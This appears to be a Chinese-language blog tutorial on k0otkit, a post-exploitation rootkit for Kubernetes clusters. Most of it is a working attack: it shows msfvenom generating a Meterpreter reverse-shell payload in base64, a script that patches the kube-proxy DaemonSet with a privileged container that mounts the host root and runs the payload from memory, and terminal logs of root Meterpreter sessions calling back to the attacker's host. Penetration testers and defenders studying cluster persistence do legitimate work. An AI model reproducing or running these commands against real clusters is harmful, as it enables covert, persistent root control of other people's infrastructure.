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如何使用k0otkit对Kubernetes集群进行渗透测试
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如何使用k0otkit对Kubernetes集群进行渗透测试
2022-06-12 13:06:25
所属地 广西

关于k0otkit

k0otkit是一种针对Kubernetes集群的通用后渗透技术，在该工具的帮助下，广大研究人员可以轻松对Kubernetes集群进行渗透测试。

k0otkit允许我们以各种方式轻松修改或操作（通过反向Shell）目标Kubernetes集群中的所有节点。本质上来说，k0otkit是Kubernetes和rootkit工具的结合体。

工具特性

1、可以利用K8s的资源和功能来实现渗透测试；

2、动态容器注入技术；

3、通信加密（基于Meterpreter）；

4、无文件；

工具使用场景

1、Web渗透测试完成之后，拿到目标的Shell；

2、如果有需要的话，还得设法提升权限；

3、发现目标环境是Kubernetes集群中的一个容器（Pod）；

4、设法实现容器逃逸（可利用CVE-2016-5195、CVE-2019-5736、docker.sock或其他技术）；

5、获取主节点的root shell，并且可以使用主节点上的kubectl作为管理员来控制目标集群；

6、现在，如果你想控制目标Kubernetes集群中的所有节点，就可以开始使用k0otkit了；

工具要求

k0otkit是一款后渗透测试工具，因此我们首先要能够进入到目标Kubernetes集群，然后以某种方法从容器中逃逸，并获取到主节点的root权限。更确切地来说，我们首先要获取到目标Kubernetes集群的管理员权限，才能开始使用k0otkit。

工具下载

确保我们已经拿到了目标Kubernetes集群的root shell（如果你想获取目标Kubernetes集群的管理员权限，同样可以使用k0otkit的来实现，不过你可能需要修改k0otkit_template.sh中的kubectl命令）。除此之外，你还需要确保在本地设备上安装并配置好了Metasploit工具，并确保msfvenom和msfconsole命令可用。

部署k0otkit

首先，我们需要使用下列命令将该项目源码克隆至本地，并给脚本提供可执行权限：

git clone https://github.com/brant-ruan/k0otkit

cd k0otkit/

chmod +x ./*.sh

接下来，替换pre_exp.sh脚本中的IP地址和端口为我们自己设备的IP和端口信息：

ATTACKER_IP=192.168.1.107

ATTACKER_PORT=4444

下列命令可以生成k0otkit：

./pre_exp.sh

生成了k0otkit.sh之后，下列命令将运行反向Shell处理器：

./handle_multi_reverse_shell.sh

工具使用

生成k0otkit：

kali@kali:~/k0otkit$ ./pre_exp.sh

+ ATTACKER_IP=192.168.1.107

+ ATTACKER_PORT=4444

+ TEMP_MRT=mrt

+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt

++ xxd -p mrt

++ tr -d '\n'

++ base64 -w 0

+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw

+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh

运行反向Shell处理器：

kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh

payload => linux/x86/meterpreter/reverse_tcp

LHOST => 0.0.0.0

LPORT => 4444

ExitOnSession => false

[*] Exploit running as background job 0.

[*] Exploit completed, but no session was created.

 

[*] Started reverse TCP handler on 0.0.0.0:4444

msf5 exploit(multi/handler) >

在目标Kubernetes集群的主节点中拷贝k0otkit.sh的内容到Shell中，然后按下回车运行：

kali@kali:~$ nc -lvnp 10000

listening on [any] 10000 ...

connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750

root@victim-2:~# volume_name=cache

 

mount_path=/var/kube-proxy-cache

 

ctr_name=kube-proxy-cache

 

binary_file=/usr/local/bin/kube-proxy-cache

 

payload_name=cache

 

secret_name=proxy-cache

 

secret_data_name=content

 

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')

 

volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

 

image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')

 

# create payload secret

cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -

apiVersion: v1

kind: Secret

metadata:

  name: $secret_name

  namespace:volume_name=cache

root@victim-2:~#

root@victim-2:~# mount_path=/var/kube-p kube-system

type: Opaque

data:

  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw

EOF

 

# assume that ctr_line_num < volume_line_num

# otherwise you should switch the two sed commands below

 

# inject malicious container into kube-proxy pod

kubecroxy-cache

root@victim-2:~#

root@victim-2:~# ctr_name=kube-proxy-cache

root@victim-2:~#

root@victim-2:~# binary_file=/usr/local/bin/kube-proxy-cache

root@victim-2:~#

root@victim-2:~# payload_name=cache

root@victim-2:~#

root@victim-2:~# secret_name=proxy-cache

root@victim-2:~#

root@victim-2:~# secret_data_name=content

root@victim-2:~#

root@victim-2:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \

  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \

  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n          pr      name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \

containers:/{print NR}')oxy -o yaml | awk '/

 

root@victim-2:~#

root@victim-2:~# volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

root@victim-2:~#

root@victim-2:~# image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')

root@victim-2:~#

root@victim-2:~# # create payload secret

root@victim-2:~# cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -

> apiVersion: v1

> kind: Secret

> metadata:

>   name: $secret_name

>   namespace: kube-system

> type: Opaque

> data:

>   $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw

> EOF

secret/proxy-cache created

root@victim-2:~#

root@victim-2:~# # assume that ctr_line_num < volume_line_num

root@victim-2:~# # otherwise you should switch the two sed commands below

root@victim-2:~#

root@victim-2:~# # inject malicious container into kube-proxy pod

root@victim-2:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \

>   | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \

>   | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \

>   | kubectl replace -f -

daemonset.extensions/kube-proxy replaced

等待反向Shell生成：

msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106

[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500

 

msf5 exploit(multi/handler) > sessions

 

Active sessions

===============

 

  Id  Name  Type                   Information                                    Connection

  --  ----  ----                   -----------                                    ----------

  1         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106  192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)

功能1-退出&重新连接：

msf5 exploit(multi/handler) > sessions 1

[*] Starting interaction with 1...

 

meterpreter > shell

Process 9 created.

Channel 1 created.

whoami

root

exit

meterpreter > exit

[*] Shutting down Meterpreter...

 

[*] 192.168.1.106 - Meterpreter session 1 closed.  Reason: User exit

msf5 exploit(multi/handler) >

[*] Sending stage (985320 bytes) to 192.168.1.106

[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500

功能2-控制节点：

msf5 exploit(multi/handler) > sessions 2

[*] Starting interaction with 2...

 

meterpreter > cd /var/kube-proxy-cache

meterpreter > ls

Listing: /var/kube-proxy-cache

==============================

 

Mode              Size      Type  Last modified              Name

----              ----      ----  -------------              ----

40755/rwxr-xr-x   4096      dir   2020-03-03 03:21:08 -0500  bin

40755/rwxr-xr-x   4096      dir   2020-03-05 22:23:56 -0500  boot

40755/rwxr-xr-x   4180      dir   2020-04-09 21:32:10 -0400  dev

40755/rwxr-xr-x   4096      dir   2020-04-17 02:31:15 -0400  etc

40755/rwxr-xr-x   4096      dir   2020-03-03 03:00:00 -0500  home

100644/rw-r--r--  36257923  fil   2020-03-05 22:23:56 -0500  initrd.img

100644/rw-r--r--  39829184  fil   2020-03-03 03:00:17 -0500  initrd.img.old

40755/rwxr-xr-x   4096      dir   2020-04-16 03:52:46 -0400  lib

40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  lib64

40700/rwx------   16384     dir   2020-03-03 02:33:19 -0500  lost+found

40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:29 -0500  media

40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  mnt

40755/rwxr-xr-x   4096      dir   2020-04-16 03:59:01 -0400  opt

40555/r-xr-xr-x   0         dir   2020-04-09 21:32:01 -0400  proc

40700/rwx------   4096      dir   2020-11-30 04:00:05 -0500  root

40755/rwxr-xr-x   1020      dir   2020-11-30 04:04:59 -0500  run

40755/rwxr-xr-x   12288     dir   2020-04-16 03:52:46 -0400  sbin

40755/rwxr-xr-x   4096      dir   2020-03-03 03:02:37 -0500  snap

40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  srv

40555/r-xr-xr-x   0         dir   2020-04-14 22:51:06 -0400  sys

41777/rwxrwxrwx   4096      dir   2020-11-30 04:10:07 -0500  tmp

40755/rwxr-xr-x   4096      dir   2020-04-16 04:42:54 -0400  usr

40755/rwxr-xr-x   4096      dir   2020-03-03 02:51:25 -0500  var

100600/rw-------  6712336   fil   2020-03-05 22:22:58 -0500  vmlinuz

100600/rw-------  7184032   fil   2020-03-03 02:33:55 -0500  vmlinuz.old

项目地址

k0otkit：【GitHub传送门】

参考资料

https://mp.weixin.qq.com/s/H48WNRRtlJil9uLt-O9asw

# Kubernetes，渗透测试 # k8s # Kubernetes安全
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文章目录
关于k0otkit
    工具特性
      工具使用场景
        工具要求
          工具下载
          • 部署k0otkit
          工具使用
            项目地址
              参考资料